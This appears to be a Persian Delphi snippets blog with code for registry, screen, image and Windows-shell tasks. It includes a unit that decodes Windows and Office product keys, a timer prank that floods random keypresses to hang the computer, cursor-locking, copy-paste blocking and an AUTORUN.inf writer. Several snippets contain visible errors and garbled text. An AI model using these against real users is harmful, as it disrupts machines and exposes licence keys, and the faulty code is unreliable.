word: OLEVariant;
begin
word := CreateOLEObject('Word.Application');
result := word.version;
word.Quit;
word := UnAssigned;
end;
برای استفاده ابتدا یک یونیت جدید ایجاد کنید و نام آن را MSProdKey بگذارید و ان را به دلفی معرفی کنید. اگر مشکلی در استفاده از این یونیت داشتید حتما در تالار بیان کنید.
unit MSProdKey;
interface
uses Registry, Windows, SysUtils, Classes;
function IS_WinVerMin2K: Boolean; // Check OS for Win 2000 or higher
function View_Win_Key: string; // View the Windows Product Key
function IS_OXP_Installed: Boolean; // Check if Office XP is installed
function View_OXP_Key: string; // View the Office XP Product Key
function IS_O2K3_Installed: Boolean; // Check if Office 2003 is installed
function View_O2K3_Key: string; // View the Office 2003 Product Key
function DecodeProductKey(const HexSrc: array of Byte): string;
// Decodes the Product Key(s) from the Registry
var
Reg: TRegistry;
binarySize: INTEGER;
HexBuf: array of BYTE;
temp: TStringList;
KeyName, KeyName2, SubKeyName, PN, PID, DN: string;
implementation
function IS_WinVerMin2K: Boolean;
var
OS: TOSVersionInfo;
begin
ZeroMemory(@OS, SizeOf(OS));
OS.dwOSVersionInfoSize := SizeOf(OS);
GetVersionEx(OS);
Result := (OS.dwMajorVersion >= 5) and
(OS.dwPlatformId = VER_PLATFORM_WIN32_NT);
PN := ''; // Holds the Windows Product Name
PID := ''; // Holds the Windows Product ID
end;
function View_Win_Key: string;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKeyReadOnly('\SOFTWARE\Microsoft\Windows NT\CurrentVersion') then
begin
if Reg.GetDataType('DigitalProductId') = rdBinary then
begin
PN := (Reg.ReadString('ProductName'));
PID := (Reg.ReadString('ProductID'));
binarySize := Reg.GetDataSize('DigitalProductId');
SetLength(HexBuf, binarySize);
if binarySize > 0 then
begin
Reg.ReadBinaryData('DigitalProductId', HexBuf[0], binarySize);
end;
end;
end;
finally
FreeAndNil(Reg);
end;
Result := '';
Result := DecodeProductKey(HexBuf);
end;
function IS_OXP_Installed: Boolean;
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Result := Reg.KeyExists('SOFTWARE\MICROSOFT\Office\10.0\Registration');
finally
Reg.CloseKey;
Reg.Free;
end;
DN := ''; // Holds the Office XP Product Display Name
PID := ''; // Holds the Office XP Product ID
end;
function View_OXP_Key: string;
begin
try
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
KeyName := 'SOFTWARE\MICROSOFT\Office\10.0\Registration\';
Reg.OpenKeyReadOnly(KeyName);
temp := TStringList.Create;
Reg.GetKeyNames(temp); // Enumerate and hold the Office XP Product(s) Key Name(s)
Reg.CloseKey;
SubKeyName := temp.Strings[0]; // Hold the first Office XP Product Key Name
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
KeyName2 := 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\';
Reg.OpenKeyReadOnly(KeyName2 + SubKeyName);
DN := (Reg.ReadString('DisplayName'));
Reg.CloseKey;
except
on E: EStringListError do
Exit
end;
try
if Reg.OpenKeyReadOnly(KeyName + SubKeyName) then
begin
if Reg.GetDataType('DigitalProductId') = rdBinary then
begin
PID := (Reg.ReadString('ProductID'));
binarySize := Reg.GetDataSize('DigitalProductId');
SetLength(HexBuf, binarySize);
if binarySize > 0 then
begin
Reg.ReadBinaryData('DigitalProductId', HexBuf[0], binarySize);
end;
end;
end;
finally
FreeAndNil(Reg);
end;
Result := '';
Result := DecodeProductKey(HexBuf);
end;
function IS_O2K3_Installed: Boolean;
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Result := Reg.KeyExists('SOFTWARE\MICROSOFT\Office\11.0\Registration');
finally
Reg.CloseKey;
Reg.Free;
end;
DN := ''; // Holds the Office 2003 Product Display Name
PID := ''; // Holds the Office 2003 Product ID
end;
function View_O2K3_Key: string;
begin
try
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
KeyName := 'SOFTWARE\MICROSOFT\Office\11.0\Registration\';
Reg.OpenKeyReadOnly(KeyName);
temp := TStringList.Create;
Reg.GetKeyNames(temp);
// Enumerate and hold the Office 2003 Product(s) Key Name(s)
Reg.CloseKey;
SubKeyName := temp.Strings[0]; // Hold the first Office 2003 Product Key Name
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
KeyName2 := 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\';
Reg.OpenKeyReadOnly(KeyName2 + SubKeyName);
DN := (Reg.ReadString('DisplayName'));
Reg.CloseKey;
except
on E: EStringListError do
Exit
end;
try
if Reg.OpenKeyReadOnly(KeyName + SubKeyName) then
begin
if Reg.GetDataType('DigitalProductId') = rdBinary then
begin
PID := (Reg.ReadString('ProductID'));
binarySize := Reg.GetDataSize('DigitalProductId');
SetLength(HexBuf, binarySize);
if binarySize > 0 then
begin
Reg.ReadBinaryData('DigitalProductId', HexBuf[0], binarySize);
end;
end;
end;
finally
FreeAndNil(Reg);
end;
Result := '';
Result := DecodeProductKey(HexBuf);
end;
function DecodeProductKey(const HexSrc: array of Byte): string;
const
StartOffset: Integer = $34; { //Offset 34 = Array[52] }
EndOffset: Integer = $34 + 15; { //Offset 34 + 15(Bytes) = Array[64] }
Digits: array[0..23] of CHAR = ('B', 'C', 'D', 'F', 'G', 'H', 'J',
'K', 'M', 'P', 'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4', '6', '7', '8', '9');
dLen: Integer = 29; { //Length of Decoded Product Key }
sLen: Integer = 15;
{ //Length of Encoded Product Key in Bytes (An total of 30 in chars) }
var
HexDigitalPID: array of CARDINAL;
Des: array of CHAR;
I, N: INTEGER;
HN, Value: CARDINAL;
begin
SetLength(HexDigitalPID, dLen);
for I := StartOffset to EndOffset do
begin
HexDigitalPID[I - StartOffSet] := HexSrc[I];
end;
SetLength(Des, dLen + 1);
for I := dLen - 1 downto 0 do
begin
if (((I + 1) mod 6) = 0) then
begin
Des[I] := '-';
end
else
begin
HN := 0;
for N := sLen - 1 downto 0 do
begin
Value := (HN shl 8) or HexDigitalPID[N];
HexDigitalPID[N] := Value div 24;
HN := Value mod 24;
end;
Des[I] := Digits[HN];
end;
end;
Des[dLen] := Chr(0);
for I := 0 to Length(Des) do
begin
Result := Result + Des[I];
end;
end;
end.
uses RichEdit;
function RTFtoBitmap(myRTF: TRichEdit; GiveSpaceForBorder: Integer): TBitmap;
var
myRect: TRect;
temp: TBitmap;
begin//Copyright 2005 koosha system software
temp := TBitmap.Create;
myRect := myRTF.ClientRect;//Copyright 2005 koosha system software
// using this statement
// myRect := Rect(0,0,MyRTF.Width,MyRTF.Height);
temp.Width := myRect.Right;
temp.Height := myRect.Bottom;
with temp.Canvas do
begin //Copyright 2005 koosha system software
Lock;
try
myRTF.Perform(WM_PRINT, Handle, PRF_CLIENT);
//you can trying to change PRF_CLIENT with
//PRF_CHILDREN or PRF_CLIENT or PRF_NONCLIENT or PRF_ERASEBKGND
//or combine them. See what happen...
finally
Unlock
end;
end;
Result := TBitmap.Create;
Result := CreateEmptyBmp(clWhite,
temp.Width + GiveSpaceForBorder * 2,
temp.Height + GiveSpaceForBorder * 2);
Result.Canvas.Lock;//Copyright 2005 koosha system software
Result.Canvas.Draw(GiveSpaceForBorder, GiveSpaceForBorder, temp);
Result.Canvas.Unlock;
temp.Free;
end;
procedure MakeBorder(const bdr: TBitmap; BorderWidth: Integer; BorderColor: TColor);
begin
with bdr.Canvas do
begin
Brush.Style := bsClear;
pen.Width := BorderWidth;//Copyright 2005 koosha system software
pen.Color := BorderColor;
rectangle(BorderWidth - 1, BorderWidth - 1, bdr.Width, bdr.Height);
end;
end;
uses ComObj,registry;
function HasCDRecorder: Boolean;
var
reg: TRegistry;
begin
reg := TRegistry.Create;
try
// set the the Mainkey, bestimmt den Hauptschlüssel
reg.RootKey := HKEY_CURRENT_USER;
// Open a key, den Schlüssel ?ffnen
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning', False);
// Check if the Key exists, Uberprüfen ob die Zeichenfolge existiert
Result := reg.ValueExists('CD Recorder Drive');
// Close the key, Schlüssel schliessen
reg.CloseKey;
finally
// and free the TRegistry Object, das TRegistry Objekt freigeben
reg.Free;
end;
end;
یک دکمه بر روی فرم خود قرار دهید و با کد زیرآن را آزمایش کنید:
procedure TForm1.Button1Click(Sender: TObject);
begin
if HasCDRecorder then
ShowMessage('CD-Recorder available.')
else
ShowMessage('CD-Recorder NOT available.');
end;
uses ComObj;
procedure TForm1.Button1Click(Sender: TObject);
var
shell: Variant;
begin
shell := CreateOleObject('Shell.Application');
shell.ShutdownWindows;
end;
procedure GetSubDirs (Folder: string; sList: TStringList);
var
sr: TSearchRec;
begin
if FindFirst (Folder + '*.*', faDirectory, sr) = 0 then
try
repeat
if (sr.Attr and faDirectory) = faDirectory then
sList.Add (sr.Name);
until FindNext(sr) <> 0;
finally
FindClose(sr);
end;
end;
function CustomMsg(const DlgCaption,Text:string; MsgType:TMsgDlgType; Buttons:TMsgDlgButtons):integer;
var
MsgBox : TForm;
i : byte;
PicWidth : integer;
begin
MsgBox := CreateMessageDialog(Text,MsgType,Buttons);
try
//Change TEXT Properties
with (MsgBox.Controls[1] as Tlabel) do
begin
Font.Name := 'Tahoma';
Font.Style := Font.Style + [fsBOLD];
Font.Size := 8;
WordWrap := False;
end;
//Change Messagebox Properties
with MsgBox do
begin
// BiDiMode := bdRightToLeft;
Font.Name := 'Tahoma';
Font.Size := 8;
Caption := DlgCaption;
Width := (Controls[0] as TImage).Width +
(Controls[1] as Tlabel).Width + 100;
end;
//Change Buttons' caption
for i := 0 to MsgBox.ControlCount-1 do
if (MsgBox.Controls[i] is TButton) then
with (MsgBox.Controls[i] as TButton) do
begin
if (UpperCase(Caption) = '&OK') then Caption := 'ÊÇííÏ'
else if (UpperCase(Caption) = '&YES') then Caption := 'Èáí'
else if (UpperCase(Caption) = '&NO') then Caption := '뒄'
else if (UpperCase(Caption) = 'CANCEL') then Caption := 'ÇäÕÑÇÝ'
else if (UpperCase(Caption) = '&ABORT') then Caption := 'áÛæ'
else if (UpperCase(Caption) = '&RETRY') then Caption := 'ÏæÈÇÑå'
else if (UpperCase(Caption) = '&IGNORE') then Caption := 'ÑÏ'
else if (UpperCase(Caption) = '&ALL') then Caption := 'åãå'
else if (UpperCase(Caption) = 'N&O TO ALL') then Caption := 'ÎíÑ Èå åãå'
else if (UpperCase(Caption) = 'YES TO &ALL') then Caption := 'Èáí Èå åãå'
else Caption := 'ÑÇåäãÇ';
end; {with}
Result := MsgBox.ShowModal;
finally
MsgBox.Free;
end; {try}
end;
مثال:
procedure TForm1.Button1Click(Sender: TObject);
begin
CustomMsg('caption','this is a test for delphi center',mtWarning,mbOKCancel)
end;
با این کد می توانید آی کن ها را مخفی کنید:
// Hide the desktop icons:
ShowWindow(FindWindow(nil, 'Program Manager'), SW_HIDE);
با این کد می توانید آی کن ها را دوباره نمایان کنید:
// Show the desktop icons:
ShowWindow(FindWindow(nil, 'Program Manager'), SW_SHOW);
با این کد می توانید به راحتی از داخل برنامه ی خودتان فایل های دیگر را اجرا کنید.
function ExecuteFile(const FileName, Params, DefaultDir: string;
ShowCmd: Integer): THandle;
var
zFileName, zParams, zDir: array[0..79] of Char;
begin //© 2005 koosha system Software http://delphi-center.blogfa.com
Result := ShellExecute(Application.MainForm.Handle, nil,
StrPCopy(zFileName, FileName), StrPCopy(zParams, Params),
StrPCopy(zDir, DefaultDir), ShowCmd);
end;//© 2005 koosha system Software http://delphi-center.blogfa.com
مثال:
ExecuteFile('notepad.exe','','',1)
خروجی یک مقدار منطقی است.با این کد به راحتی می توانید تشخیص دهید که آیا AutoHide در Task Bar فعال است یا خیر؟
uses ShellAPI;
function IsTaskbarAutoHideOn : boolean;
var
ABData : TAppBarData;
begin
ABData.cbSize := sizeof(ABData);
Result :=
(SHAppBarMessage(ABM_GETSTATE, ABData)
and ABS_AUTOHIDE) > 0;
end;
با این تابع شما می توانید امکان ارسال ایمیل را برای کاربر فراهم سازید.این کد از ایمیل سندر ویندوز استفاده می کند.ویژگی این کد نسبت به دیگر کدهای موجود این است که شما می توانید متن نامه و مضوع آن را نیز به طور پیش فرض برای کاربر قرار دهید.در کد زیر Subject نامه کلمه ی Test و Body ایمیل This Is Body است.
MailTo := 'mailto:someone@somewhere.com?subject=Test&body=This Is Body';
if ShellExecute(GetDesktopWindow(), 'open', PChar(MailTo), nil, nil,SW_SHOWNORMAL) <= 32 then
MessageDlg('An Error occurred with Mail!',mtError,[mbOK],0);
این کد تمام کلیدهای کی برد را می فشارد (مجازی) انتخاب کلید به صورت random است و هر ثانیه هزار بار این اتفاق روی میدهد.در این صورت رایانه قطعا هنگ می کند.با این کار ماشین حساب ویندوز و تمام نرم افزار های ویندوز اجرا می شود(از هر کدام صدها بار)
یک Timer بگذارید.Interval آن را برابر ۱ بگذارید.دو بار روی آن کلیک کرده و از کد زیر استفاده کنید:
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
uses Math;
{$R *.dfm}
procedure x(key:byte;e:DWORD);
begin
keybd_event(key,e,0,0);
keybd_event(key,e,KEYEVENTF_KEYUP,0);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
a:=Random(3945);
x(a,1);
end;
end.
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button1Click(Sender: TObject);
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
if GetSystemMetrics(SM_MOUSEPRESENT)<>0 then
Label1.Caption:='Mouse is Connect'
else Label1.Caption:='Mouse is Not Connect';
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button1Click(Sender: TObject);
var
WinDir: array[0..255] of Char;
begin
GetWindowsDirectory(WinDir, MAX_PATH);
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.FormActivate(Sender: TObject);
var
Po :TPoint;
a:TRect;
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
a := ClientRect;
with a do begin
po := ClientToScreen(Point(Left,Top)) ;
Left := Po.X;
Top := Po.Y ;
Po := ClientToScreen(Point(Right,Bottom)) ;
Right := Po.X;
Bottom := Po.Y;
end;
ClipCursor(@a);
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
GetFormImage.SaveToFile('c:\Form.bmp');
این کد زمان را به طور دقیق بر روی دسکتاپ نقش می کند.اگر // اولی را بردارید فرم مخفی می شود و فقط ساعت نمایش داده می شود.و اگر // دومی را بردارید پس زمینه ساعت حذف می شود.
procedure TForm1.Timer1Timer(Sender: TObject);
var//© 2005 koosha system Software http://delphi-center.blogfa.com
d:TDateTime;
x:integer;
str:String;
begin//© 2005 koosha system Software http://delphi-center.blogfa.com
// form1.Hide;
desktopcanvas:=TCanvas.Create;
desktopcanvas.Handle:=GetDC(HWND_DESKTOP);
d:=Time;
str:=TimeToStr(d);
//desktopcanvas.Brush.Style:=bsClear;
desktopcanvas.Font.Color:=clRed;
desktopcanvas.Font.Name:=('tahoma');
desktopcanvas.Font.Size:=20;
desktopcanvas.TextOut(12,12,str);
SetBkMode(Canvas.Handle,x);
end;//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button1Click(Sender: TObject);
var a,b:integer;
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
for a:=0 to Image1.Height-1 do
begin
for b:=0 to Image1.Width-1 do
Image1.Canvas.Pixels[b,a]:=Image1.Canvas.Pixels[a-0,b-0]
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
end;
یک کد برای یرعکس کردن رنگ های تصویر و در گفتار خودمانی Invert کردن عکس.این کد آحرین شماره ی رنگ یعنی سفید را از رنگ هر پیکسل کم می کند و مخالف همان رنگ بدست می آید.
procedure TForm1.Button1Click(Sender: TObject);
var a,b:integer;
begin //© 2005 koosha system Software http://delphi-center.blogfa.com
for a:=0 to Image1.Height-1 do
begin
for b:=0 to Image1.Width-1 do
Image1.Canvas.Pixels[b,a]:= clWhite-(Image1.Canvas.Pixels[b,a]);
end; //© 2005 koosha system Software http://delphi-center.blogfa.com
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button2Click(Sender: TObject);
var x,y,z : integer;
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
for x:= 1 to image1.Height-1 do
begin
for y := 1 to image1.Width-1 do
Image1.canvas.pixels[y,x]:=image1.canvas.pixels[y,x] div 256;
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
for z:=0 to 2 do
begin
for y:= 1 to image1.Height-1 do
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
for x := 1 to image1.Width-1 do
Image1.canvas.pixels[x,y]:=image1.canvas.pixels[x,y] * 256;
end;
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
end;
با این کد دیگر نمی توان از کلید های میانبر کپی و پیست استفاده کرد.به محض فشردن آنها ابتدا چک می شود که آیا متن است یا نه . اگر متن بود کلیپ بورد پاک می شود.
//© 2005 koosha system Software http://delphi-center.blogfa.com
uses Clipbrd;
procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
if ((Key = ord('V')) and (ssCtrl in Shift)) then begin
if Clipboard.HasFormat(CF_TEXT) then ClipBoard.Clear;
key := 0;
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com if ((Key = ord('C')) and (ssCtrl in Shift)) then begin
if Clipboard.HasFormat(CF_TEXT) then ClipBoard.Clear;
key := 0;
end;
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
بدون توضیح آنها را شرح می دهیم:
1 Invalid function number
2 File not found
3 Path not found
4 Too many open files
5 File access denied
6 Invalid file handle
//© 2005 koosha system Software http://delphi-center.blogfa.com
12 Invalid file access code
15 Invalid drive number
16 Cannot remove current directory
17 Cannot rename across drives
100 Disk read error
101 Disk write error
102 File not assigned
103 File not open
104 File not open for input
105 File not open for output
106 Invalid numeric format
200 Division by zero
201 Range check error
202 Stack overflow error
203 Heap overflow error
//© 2005 koosha system Software http://delphi-center.blogfa.com
204 Invalid pointer operation
205 Floating point overflow
206 Floating point underflow
207 Invalid floating point operation
210 Object not initialized
211 Call to abstract method
212 Stream registration error
213 Collection index out of range
214 Collection overflow error
//© 2005 koosha system Software http://delphi-center.blogfa.com
215 Arithmetic overflow error
216 General protection fault
//© 2005 koosha system Software http://delphi-center.blogfa.com
AddFontResource('C:\FileName.ttf');
//© 2005 koosha system Software http://delphi-center.blogfa.com
SendMessage(HWND_BROADCAST,WM_FONTCHANGE, 0, 0);
//© 2005 koosha system Software http://delphi-center.blogfa.com
uses
Registry, WinProcs;
//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure SetWallpaper(
sWallpaperBMPPath : String;
bTile : boolean );
var
reg : TRegIniFile;
begin
reg := TRegIniFile.Create(
'Control Panel\Desktop' );
//© 2005 koosha system Software http://delphi-center.blogfa.com
with reg do
begin
WriteString( '', 'Wallpaper',
sWallpaperBMPPath );
if( bTile )then
begin
WriteString(
'', 'TileWallpaper', '1' );
end else
begin
WriteString(
'', 'TileWallpaper', '0' );
end;
end;
reg.Free;
//© 2005 koosha system Software http://delphi-center.blogfa.com
SystemParametersInfo(
SPI_SETDESKWALLPAPER,
0,
Nil,
SPIF_SENDWININICHANGE );
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button1Click(Sender TObject);
var
Flag UINT;
AppSysMenu THandle;
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
AppSysMenu=GetSystemMenu(Handle,False);
Flag=MF_GRAYED;
EnableMenuItem(AppSysMenu,SC_CLOSE,MF_BYCOMMAND or Flag);
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
برای این کار یک image بر روی فرم قرار دهید و یک button هم قرار دهید .
حالا کد های زیر را بنویسید :
procedure TForm1.Button1Click(Sender: TObject);
var I,q : integer;
begin
for q:= 1 to image1.Height-1 do
begin
for I := 1 to image1.Width-1 do
Image1.canvas.pixels[i,q]:=image1.canvas.pixels[i,q] div 256;
end;
end;
اگر رنگ هر پیکسل را بر 256 تقسیم کنیم رنگ ان زرد می شود
برای این کار شما باید اول مسیر ICON رو وارد کنید و بعد فایل مورد نظر را در درایو مورد نظر کپی کنید (هیچ کدام از این مراحل را لازم نیست شما طی کنید بلکه تمام کارها را باید با برنامه نوسی انجام دهید).
یک procedure به نام changeicon به صورت زیر تعریف کنید .
procedure changeicon(iconname:string;diskname:string);
var a:textfile;
begin
copyfile(pchar(iconname),pchar(diskname+':\dcblog.ico'),false);
filegetattr(diskname+':\dcblog.ico');
assignfile(a,'f:\AUTORUN.inf');
rewrite(a);
writeln(a,'[AUTORUN]');
writeln(a,'ICON=dcblog.ico');
closefile(a);
filegetattr(diskname+':\AUTORUN.inf');
end;
اجرا کنید button را در یک Procedure حالا این
procedure TForm1.Button1Click(Sender: TObject);
begin
changeicon('f:\aa.ico','c');
end;
درایو سی را عوض می کند icon این دستور
//Copyright 2005 Koosha System Software http://delphi-center.blogfa.com
function CaptureScreenRect( ARect: TRect ): TBitmap;
var
ScreenDC: HDC;
begin
Result := TBitmap.Create;
with Result, ARect do
begin
Width := Right - Left;
Height := Bottom - Top;
ScreenDC := GetDC( 0 );
try//Copyright 2005 Koosha System Software http://delphi-center.blogfa.com
BitBlt( Canvas.Handle, 0, 0, Width, Height, ScreenDC,
Left, Top, SRCCOPY );
finally
ReleaseDC( 0, ScreenDC );
end;
end;
end;
//Copyright 2005 Koosha System Software http://delphi-center.blogfa.com
function CaptureScreen: TBitmap;
begin
with Screen do
Result := CaptureScreenRect( Rect( 0, 0, Width, Height ));
end;
//Copyright 2005 Koosha System Software http://delphi-center.blogfa.com
procedure TForm1.Button2Click(Sender: TObject);
begin
Image1.Picture.Bitmap:=CaptureScreen
end;
با این کد می توان زمان آخرین باری که فایل باز شده است را بدست آورد. به جای sFileName آدرس فایل را بدهید.خروجی این function را برای استفاده بهتر به String تبدیل کنید.خروجی به صورت TDateTime است که شما با استفاده از دستور DateTimeToStr می توانید این کار را انجام دهید. برای بدست آوردن زمان آخرین باری که فایل باز شده است از کد زیر استفاده کنید:
//Copyright 2005 Koosha System Software HTTP://DELPHI-CENTER.BLOGFA.COM
function GetFileLastAccessTime(
sFileName : string ) : TDateTime;
var
ffd : TWin32FindData;
dft : DWord;
lft : TFileTime;
h : THandle;
begin
//
// get file information
h := Windows.FindFirstFile(
PChar(sFileName), ffd);
if(INVALID_HANDLE_VALUE <> h)then
begin
//
// we're looking for just one file,
// so close our "find"
Windows.FindClose( h );
//
// convert the FILETIME to
// local FILETIME
FileTimeToLocalFileTime(
ffd.ftLastAccessTime, lft );
//Copyright 2005 Koosha System Software HTTP://DELPHI-CENTER.BLOGFA.COM
// convert FILETIME to
// DOS time
FileTimeToDosDateTime(lft,
LongRec(dft).Hi, LongRec(dft).Lo);
//
// finally, convert DOS time to
// TDateTime for use in Delphi's
// native date/time functions
Result := FileDateToDateTime(dft);
end;
end;
//Copyright 2005 Koosha System Software HTTP://DELPHI-CENTER.BLOGFA.COM
اما انجا ما از آن tip ها استفاده نکردیم و یک نوآوری و یک روش بسیار جالب به خرج دادیم.
1 - باید یک فایل را در تمام دیسک ها ذخیره کرد و با دستور Try Except آن را کنترل کرد .
* -> چیزهای مورد نیاز : یک Memo . یک Listbox و یک Button
اینم کدش :
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
ListBox1: TListBox;
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function aa(a:integer):string;
begin
if a=1 then
aa:='c';
if a=2 then
aa:='d';
if a=3 then
aa:='e';
if a=4 then
aa:='f';
if a=5 then
aa:='g';
if a=6 then
aa:='h';
if a=7 then
aa:='i';
if a=8 then
aa:='j';
if a=9 then
aa:='k';
if a=10 then
aa:='l';
if a=11 then
aa:='m';
if a=12 then
aa:='n';
if a=13 then
aa:='o';
if a=14 then
aa:='p';
if a=15 then
aa:='q';
if a=16 then
aa:='r';
if a=17 then
aa:='s';
if a=18 then
aa:='t';
if a=19 then
aa:='u';
if a=20 then
aa:='v';
if a=21 then
aa:='w';
if a=22 then
aa:='x';
if a=23 then
aa:='y';
if a=24 then
aa:='z';
end;
procedure TForm1.Button1Click(Sender: TObject);
var i:integer;s:string;
begin
listbox1.Clear;
for i:=1 to 24 do
begin
s:=aa(i);
try
begin
memo1.Lines.SaveToFile(s+':\a.txt');
listbox1.Items.Add(s);
deletefile(s+':\a.txt');
end;
except
continue;
end;
end;
end;
end.
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
procedure bmp2ico(image:timage;filename:tfilename);
var
bmp:tbitmap;
icon:ticon;
imagelist:timagelist;
begin
bmp:=tbitmap.Create;
icon:=ticon.Create;
try
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
bmp.Assign(image.picture);
imagelist:=timagelist.CreateSize(image.Width,image.Height);
try
imagelist.AddMasked(bmp,bmp.TransparentColor);
imagelist.GetIcon(0,icon);
icon.SaveToFile(FILENAME);
finally
imagelist.Free;
end;
finally
bmp.Free;
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
icon.Free;
end;
end;
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
BoolToStr(B: Boolean; UseBoolStrs: Boolean = False): string;
ByteToCharIndex(const S: string; Index: Integer): Integer;
CharToByteIndex(const S: string; Index: Integer): Integer;
CharToByteLen(const S: string; MaxLen: Integer): Integer;
CurrToStr(Value: Currency): string; overload;
CursorToString(Cursor: TCursor): string;
DateTimeToStr(const DateTime: TDateTime): string; overload;
DateTimeToString(var Result: string; const Format: string;
DateTimeToSystemTime(const DateTime: TDateTime; var SystemTime: TSystemTime);
DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp;
DateToStr(const DateTime: TDateTime): string; overload;
FloatToCurr(const Value: Extended): Currency;
FloatToDateTime(const Value: Extended): TDateTime;
FloatToDecimal(var Result: TFloatRec; const Value;
FloatToDecimal(var Result: TFloatRec; const Value;
FloatToStr(Value: Extended): string; overload;
FloatToText(BufferArg: PChar; const Value; ValueType: TFloatValue;
GUIDToString(const GUID: TGUID): string;
IntToHex(Value: Integer; Digits: Integer): string; overload;
IntToStr(Value: Integer): string; overload;
StrCharLength(const Str: PChar): Integer;
StringToCursor(const S: string): TCursor;
StringToGUID(const S: string): TGUID;
StrToBool(const S: string): Boolean;
StrToBoolDef(const S: string; const Default: Boolean): Boolean;
StrToCurr(const S: string): Currency; overload;
StrToCurrDef(const S: string; const Default: Currency): Currency;
StrToDate(const S: string): TDateTime;
StrToDate(const S: string): TDateTime; overload;
StrToFloat(const S: string): Extended; overload;
StrToInt(const S: string): Integer;
StrToInt64(const S: string): Int64;
StrToInt64Def(const S: string; const Default: Int64): Int64;
StrToIntDef(const S: string; Default: Integer): Integer;
StrToTime(const S: string): TDateTime; overload;
StrToTime(const S: string;
SystemTimeToDateTime(const SystemTime: TSystemTime): TDateTime;
TextToFloat(Buffer: PChar; var Value;
TimeStampToMSecs(const TimeStamp: TTimeStamp): Comp;
TimeToStr(const DateTime: TDateTime): string; overload;
TryStrToInt(const S: string; out Value: Integer): Boolean;
TryStrToInt64(const S: string; out Value: Int64): Boolean;
VarToStr(const V: Variant): string;
VarToStrDef(const V: Variant; const ADefault: string): string;
VarToWideStr(const V: Variant): WideString;
VarToWideStrDef(const V: Variant; const ADefault: WideString): WideString;
VarToDateTime(const V: Variant): TDateTime;
VarFromDateTime(const DateTime: TDateTime): Variant;
WideFormatVarToStr(var S: WideString; const V: TVarData);
با intraweb شما می توانید یک سایت جالب با دستورات دلفی بسازید .
در این درس ما فقط با نحوه ی ساخت یک صفحه ساده با اینتراوب آشنا می شویم.
دلفی را باز کنید .
از منوی new --> ادر (other) را برگزینید .
خوب حالا به صفحه intraweb رفته و روی stand alone application کلیک کنید.
حالا در صفحه ای که باز شد باید مسیر ذخیره شدنشو بدید .
خوب حالا یک صفحه از نوع intraweb باز شده است.
حالا کلید shift و f12 را با هم فشار دهید .
formmain را انتخاب کرده و روی ok کلیک کنید .
اینم از فرم .
حالا نوبت استفاده از کامپاننت ها رسیده است .
تمام کامپاننت های Visual برای استفاده از intraweb در صفحات iw standard و iw data و هر چی که iw اولش داره ...............
* توجه : از بعضی از component های غیر visual هم در form مان هم میشه استفاده کرد.
